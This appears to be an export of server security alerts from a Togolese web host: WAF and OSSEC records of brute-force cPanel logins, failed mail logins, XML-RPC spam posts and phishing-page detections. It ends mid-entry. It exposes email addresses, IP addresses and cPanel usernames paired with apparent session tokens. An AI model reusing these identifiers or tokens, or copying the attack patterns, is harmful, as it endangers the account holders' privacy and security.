abuser: 43.173.181.232
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-un-systeme-educatif-metamorphose/||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f6a879538f2dc62297d1b41a65dca94063d15d40||Title:c1ea1jhst3bdzjvfmq||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:029ffdb76eb7cc4102d94be11b30af133f1d54fe||Title:jxyjgzoeqrjpgjp||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.60.66.153
country_id: 3895114
description:
179.60.66.153 - - [16/Jun/2026:14:10:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9867925&pdata=https%253A%252F%252Ftogodailynews.tg%252Ffiliere-coton-lome-au-centre-des-echanges-de-laca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619025 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/filiere-coton-lome-au-centre-des-echanges-de-laca/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.7461.1933 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.60.66.153


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:986a72bb9f818dc3cb3ef6b55ac25b933bb74662||Title:tcyt1xxcpvwe69w||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 102.129.141.70
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:102.129.141.70||TA:102.129.141.70||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-16 14:12:17 +0000] info [cpaneld] 5.230.153.46 NEW dvhzmira:N2TsUQv_NtBsWd6p address=5.230.153.46,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.230
country_id: 2635167
description:
[2026-06-16 14:11:31 +0000] info [cpaneld] 5.230.153.230 NEW ebbmnmtd:DrR0NbLs5cmdo5He address=5.230.153.230,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:11:36 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50156: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.156.13.200
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/977115484 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8c4e46d0e1b4a5a336406f264e8ae7a4a9143da6||Title:pm3jf2tl89b3b0f||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:12:36 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50163: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.64
country_id: 2635167
description:
[2026-06-16 14:12:23 +0000] info [cpaneld] 5.230.133.64 NEW yydrdvav:qbg8E3ytCh4JH44B address=5.230.133.64,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:33cbe14fb9feb02d3e86731a3db2a2ac7b96d44b||Title:y8lols2zkmdfoch2||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bd668579908c9335340a849d9de699a2684cc3ee||Title:y1zhiy7qlrlk0yah||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:13:55 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50168: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.163.163.224
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ac8683 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4cfd9847b77e44d63c762c6e565748dc45beb73b||Title:4jgt1uhr9of8pcz||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:14:44 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50171: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:15:56 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50179: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f312eb78c11c12dd7e77a7b2ee8b633ffe0c559d||Title:5xfziecq20l16z||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.211.4.169
country_id: 289688
description:
37.211.4.169 - - [16/Jun/2026:14:15:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684324&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-resultats-concours-ena%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619338 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-resultats-concours-ena/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.1304.1206 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.211.4.169


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.219.137.39
country_id: 3469034
description:
[2026-06-16 14:16:47 +0000] info [cpaneld] 186.219.137.39 - in "GET /login/?login_only=1&user=in&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user in (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.191.56.245
country_id: 1562822
description:
2026-06-16 14:16:52 dovecot_login authenticator failed for H=([218.152.148.118]) [113.191.56.245]:62942: 535 Incorrect authentication data (set_id=afrique.co.jpvelopp@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:16:56 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50189: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 119.94.142.49
country_id: 1694008
description:
[2026-06-16 14:16:36 +0000] info [cpaneld] 119.94.142.49 - ingertg "GET /login/?login_only=1&user=ingertg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ingertg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.121.47.111
country_id: 3686110
description:
[2026-06-16 14:16:40 +0000] info [cpaneld] 186.121.47.111 - inge "GET /login/?login_only=1&user=inge&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inge (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.62.37.75
country_id: 1733045
description:
[2026-06-16 14:16:41 +0000] info [cpaneld] 182.62.37.75 - inge "GET /login/?login_only=1&user=inge&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inge (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.196.151.92
country_id: 3624060
description:
[2026-06-16 14:16:45 +0000] info [cpaneld] 38.196.151.92 - in "GET /login/?login_only=1&user=in&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user in (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2f9abaa78d360e0dc619cfe4ab89b092c61b925||Title:zyxgmz6x9r85jy2c||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.138.18.41
country_id: 2017370
description:
[2026-06-16 14:16:32 +0000] info [cpaneld] 46.138.18.41 - inger "GET /login/?login_only=1&user=inger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.181.110.166
country_id: 99237
description:
[2026-06-16 14:16:32 +0000] info [cpaneld] 185.181.110.166 - inger "GET /login/?login_only=1&user=inger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.191.46.178
country_id: 3625428
description:
[2026-06-16 14:16:43 +0000] info [cpaneld] 38.191.46.178 - ing "GET /login/?login_only=1&user=ing&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ing (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5d5b33bf49024851a9e3d6bb6586786b0723677b||Title:ndhvb0uptt9cbh6o||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [16/Jun/2026:14:17:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131299&pdata=https%253A%252F%252Fsotranetogo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619469 HTTP/2.0" 302 0 sotranetogo.com "https://sotranetogo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [16/Jun/2026:14:18:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580122&pdata=https%253A%252F%252Fsotranetogo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619496 HTTP/2.0" 302 0 sotranetogo.com "https://sotranetogo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:17:57 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50193: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:19:02 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50207: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:14:18:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7314840&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619503 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.77.238.61
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:11b0064d8585b9c06ac5fe1985347017c242acb2||Title:x8ewu4s1c1lt1qc719||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-16 14:20:04 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:50211: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.225.64.176
country_id: 2464461
description:
41.225.64.176 - - [16/Jun/2026:14:20:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9595036&pdata=https%253A%252F%252Fcpanel.kifchange.free.netmaster.tg%252F%253Flocale%253Dzh&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619649 HTTP/2.0" 302 0 cpanel.kifchange.free.netmaster.tg "https://cpanel.kifchange.free.netmaster.tg/?locale=zh" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.225.64.176


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [16/Jun/2026:14:21:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921069&pdata=http%253A%252F%252Fsotranetogo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619671 HTTP/1.1" 302 0 sotranetogo.com "http://sotranetogo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.120.204.149
country_id: 1605651
description:
[2026-06-16 14:21:14 +0000] info [cpaneld] 124.120.204.149 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.70.70.84
country_id: 3469034
description:
[2026-06-16 14:21:18 +0000] info [cpaneld] 177.70.70.84 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.84.57.205
country_id: 3469034
description:
[2026-06-16 14:21:22 +0000] info [cpaneld] 170.84.57.205 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.113.101.10
country_id: 3624060
description:
[2026-06-16 14:21:43 +0000] info [cpaneld] 190.113.101.10 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.98.245.156
country_id: 1562822
description:
[2026-06-16 14:21:49 +0000] info [cpaneld] 116.98.245.156 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.165
country_id: 1880251
description:
47.128.121.165 - - [16/Jun/2026:14:25:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854805&pdata=https%253A%252F%252Fmacite.tg%252Fpage%252F713%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781619947 HTTP/2.0" 302 0 macite.tg "https://macite.tg/page/713/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.165


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:27:48 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:14592: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.223
country_id: 2635167
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.483986459208430.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 138.252.0.205
country_id: 1210997
description:
138.252.0.205 - - [16/Jun/2026:14:28:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527336&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftrafic-denfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781620134 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/trafic-denfants/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.5129.1293 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:138.252.0.205


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:28:37 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:14600: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.20
country_id: 2635167
description:
[2026-06-16 14:29:03 +0000] info [cpaneld] 5.230.133.20 NEW frtwilql:bGzAJP_v8KLI4TbO address=5.230.133.20,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.233
country_id: 2635167
description:
[2026-06-16 14:29:08 +0000] info [cpaneld] 5.230.133.233 NEW mipbtgnb:zHX9xBUfn9xS_yRx address=5.230.133.233,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.78
country_id: 6252001
description:
[2026-06-16 14:29:09 +0000] info [cpaneld] 134.195.83.78 NEW mipbtgnb:v5UYDOKofR0tBZSz address=134.195.83.78,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.171.123
country_id: 3923057
description:
[2026-06-16 14:29:50 +0000] info [cpaneld] 181.115.171.123 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.132.162.25
country_id: 1522867
description:
[2026-06-16 14:29:51 +0000] info [cpaneld] 45.132.162.25 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.214.83.101
country_id: 1210997
description:
[2026-06-16 14:30:02 +0000] info [cpaneld] 103.214.83.101 - sorouba "GET /login/?login_only=1&user=sorouba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorouba (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.86
country_id: 3017382
description:
[2026-06-16 14:29:44 +0000] info [cpaneld] 5.231.64.86 NEW qledpnjw:Kakohde4psY9V3BC address=5.231.64.86,app=cpaneld,creator=qledpnjw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.163.182.98
country_id: 1282988
description:
[2026-06-16 14:30:21 +0000] info [cpaneld] 103.163.182.98 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-16 14:29:24 +0000] info [webmaild] 196.171.46.177 - kekeli.alemawo@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.191.118
country_id: 3658394
description:
[2026-06-16 14:29:55 +0000] info [cpaneld] 179.60.191.118 - soroubat "GET /login/?login_only=1&user=soroubat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.186.71.230
country_id: 1733045
description:
[2026-06-16 14:30:13 +0000] info [cpaneld] 202.186.71.230 - sor "GET /login/?login_only=1&user=sor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.246.72.55
country_id: 3895114
description:
[2026-06-16 14:30:05 +0000] info [cpaneld] 201.246.72.55 - soroub "GET /login/?login_only=1&user=soroub&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroub (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.185
country_id: 2635167
description:
[2026-06-16 14:29:53 +0000] info [cpaneld] 5.230.153.185 NEW naduwpdk:cDNFnJuu6PzIdVgH address=5.230.153.185,app=cpaneld,creator=naduwpdk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.159.74.118
country_id: 2542007
description:
[2026-06-16 14:30:07 +0000] info [cpaneld] 105.159.74.118 - sorou "GET /login/?login_only=1&user=sorou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.41.234.234
country_id: 3865483
description:
[2026-06-16 14:30:16 +0000] info [cpaneld] 181.41.234.234 - sor "GET /login/?login_only=1&user=sor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sor (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.130
country_id: 2921044
description:
[2026-06-16 14:29:40 +0000] info [cpaneld] 5.175.229.130 NEW yydrdvav:6InrwhXVjDjC3L6h address=5.175.229.130,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.191.196.62
country_id: 1562822
description:
[2026-06-16 14:29:58 +0000] info [cpaneld] 14.191.196.62 - soroubattg "GET /login/?login_only=1&user=soroubattg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubattg (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.50
country_id: 3017382
description:
[2026-06-16 14:30:54 +0000] info [cpaneld] 5.231.255.50 NEW vejjghdd:jKqOjslC7AiotuJY address=5.231.255.50,app=cpaneld,creator=vejjghdd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-16 14:31:10 +0000] info [cpaneld] 5.230.133.44 NEW qfaclpeg:4J7SmGLBySAPYwPC address=5.230.133.44,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.179
country_id: 2635167
description:
[2026-06-16 14:30:40 +0000] info [cpaneld] 5.230.153.179 NEW newistm:m49M0idZiOu7sFA0 address=5.230.153.179,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:30:46 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:16512: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-16 14:30:56 +0000] info [cpaneld] 5.230.133.223 NEW vejjghdd:aJDy23reRa9JCkV1 address=5.230.133.223,app=cpaneld,creator=vejjghdd,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.186.189
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/368555304 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.246.73.51
country_id: 3277605
description:
Jun 16 14:32:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.246.73.51 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.16
country_id: 2635167
domain: expire.netmaster.tg
description:
